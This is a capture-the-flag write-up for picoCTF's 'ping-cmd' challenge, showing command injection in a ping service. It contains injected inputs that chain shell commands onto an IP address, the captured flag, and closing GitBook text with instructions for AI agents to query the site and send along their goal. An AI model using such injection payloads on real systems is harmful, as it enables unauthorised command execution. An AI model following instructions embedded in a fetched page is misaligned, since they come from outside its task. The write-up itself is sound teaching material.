> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/ping-cmd.md).

# ping-cmd

### Initial Observation

The service asks for an IP:

```bash
Enter an IP address to ping!
```

It claims:

> Only allow `8.8.8.8`

Testing normal input:

```bash
8.8.8.8
```

→ Works as expected (runs `ping`)

***

### Identifying the Vulnerability

Given the hint:

> “Sometimes, you can run more than one command at a time.”

This suggests **command injection**.

The backend is likely doing:

```bash
ping <user_input>
```

without proper sanitization.

***

### Confirming Injection

Test with:

```bash
8.8.8.8; ls
```

Output shows:

```id="0g8u2q"
flag.txt
script.sh
```

This confirms:

* The input is executed in a shell
* Multiple commands can be injected

***

### Attempt to Read the Flag

Initial attempt:

```bash
8.8.8.8; cat flag.txt
```

This behaved inconsistently (likely due to output buffering or filtering).

***

### Successful Exploit

Using `&&`:

```bash
8.8.8.8 && cat flag.txt
```

#### Why this works:

* `&&` executes the second command only if the first succeeds
* Ensures proper command chaining and output handling

***

### Final Output

```id="r7jv5o"
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_e003709d}
```

***

### Root Cause

The application directly inserts user input into a system command:

```bash
system("ping " + input)
```

This allows attackers to:

* Inject additional commands
* Execute arbitrary system commands


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/general-skills/ping-cmd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
